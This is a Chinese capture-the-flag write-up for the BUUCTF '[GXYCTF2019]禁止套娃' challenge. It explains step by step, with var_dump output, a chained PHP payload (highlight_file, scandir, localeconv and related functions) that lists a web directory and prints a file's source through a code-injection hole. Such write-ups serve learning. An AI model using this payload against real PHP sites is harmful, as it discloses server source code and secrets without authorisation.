BUU-[GXYCTF2019]禁止套娃

强烈推荐:
讲的非常直白

我的笔记:
payload: highlight_file(next(array_reverse(scandir(current(localeconv())))))

<?php

//var_dump( highlight_file(next(array_reverse(scandir(current(localeconv()))))) );

//1.localeconv()函数返回一个数组
//var_dump(localeconv());
/*
array(18) {
  ["decimal_point"]=>
  string(1) "."
  ["thousands_sep"]=>
  string(0) ""
  ["int_curr_symbol"]=>
  string(0) ""
  ["currency_symbol"]=>
  string(0) ""
  ["mon_decimal_point"]=>
  string(0) ""
  ["mon_thousands_sep"]=>
  string(0) ""
  ["positive_sign"]=>
  string(0) ""
  ["negative_sign"]=>
  string(0) ""
  ["int_frac_digits"]=>
  int(127)
  ["frac_digits"]=>
  int(127)
  ["p_cs_precedes"]=>
  int(127)
  ["p_sep_by_space"]=>
  int(127)
  ["n_cs_precedes"]=>
  int(127)
  ["n_sep_by_space"]=>
  int(127)
  ["p_sign_posn"]=>
  int(127)
  ["n_sign_posn"]=>
  int(127)
  ["grouping"]=>
  array(0) {
  }
  ["mon_grouping"]=>
  array(0) {
  }
}
*/
//第一个返回value是.

//2.current()函数返回数组中的当前单元, 默认取第一个值。
//var_dump(current(localeconv()) );
//string(1) "."

//3.array_reverse()函数, 颠倒数组的顺序

//4.next()函数将内部指针指向数组的下一个元素,并返回结果
/*
PHP next() 函数用于将数组的内部指针向前移动一位,并返回新当前元素的值。如果指针已处于数组末尾,它将返回 false。它是遍历数组指针操作函数之一,常与 current()、prev()、reset() 和 end() 配合使用。 
语法:
php
next(array)
关键点:
参数: 必须传入一个数组。
返回值: 返回移动后指向的下一个元素的值。
结束边界: 如果超出最后一个元素,返回 false。
与current()的区别: next() 先将指针移动到下一位,然后再返回该值,而 current() 仅返回当前指针位置的值
*/
//var_dump(next(array_reverse(scandir(current(localeconv())))) );
//string(6) "py1.py" 可以看到, 返回了我们需要的文件名称

// PHP highlight_file() 函数用于以高亮语法格式输出指定的 PHP 文件,便于代码查看。第一个参数是文件的路径
//所以我们使用highlight_file()再指定我们需要高亮打印的文件名, 就可以看到flag了

posted on 2026-01-28 00:00  misaki%20mei  阅读(2)  评论(0)    收藏  举报

导航